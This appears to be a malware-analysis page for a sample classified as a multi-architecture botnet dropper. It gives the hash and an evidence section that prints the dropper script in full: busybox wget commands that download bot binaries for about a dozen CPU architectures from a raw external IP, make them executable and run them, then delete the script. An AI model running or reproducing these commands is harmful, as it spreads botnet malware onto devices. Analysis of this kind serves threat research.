Hostile 100% Download

dfeb5e56c01682125c15949d4a535d176028c50cb7ff57f0d40e7c0ff3503743.unknown

Multi-arch botnet dropper

Multi-architecture protocol fallback executionRaw-IP BusyBox multi-architecture dropper
SHA-256dfeb5e56c01682125c15949d4a535d176028c50cb7ff57f0d40e7c0ff3503743
MaleculeO₂(C₃Er)H₄(Cm₇F₂Os₂Po₂)Md(Ar)

Evidence

Text contains raw external-IP HTTP URL lines 1–13
1busybox wget http://45.90.161.148/where/botx.arm; chmod 777 botx.arm; ./botx.arm android
2busybox wget http://45.90.161.148/where/botx.arm5; chmod 777 botx.arm5; ./botx.arm5 android
3busybox wget http://45.90.161.148/where/botx.arm6; chmod 777 botx.arm6; ./botx.arm6 android
4busybox wget http://45.90.161.148/where/botx.arm7; chmod 777 botx.arm7; ./botx.arm7 android
5busybox wget http://45.90.161.148/where/botx.m68k; chmod 777 botx.m68k; ./botx.m68k android
6busybox wget http://45.90.161.148/where/botx.mips; chmod 777 botx.mips; ./botx.mips android
7busybox wget http://45.90.161.148/where/botx.mpsl; chmod 777 botx.mpsl; ./botx.mpsl android
8busybox wget http://45.90.161.148/where/botx.ppc; chmod 777 botx.ppc; ./botx.ppc android
9busybox wget http://45.90.161.148/where/botx.sh4; chmod 777 botx.sh4; ./botx.sh4 android
10busybox wget http://45.90.161.148/where/botx.spc; chmod 777 botx.spc; ./botx.spc android
11busybox wget http://45.90.161.148/where/botx.x86; chmod 777 botx.x86; ./botx.x86 android
12
13rm $0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.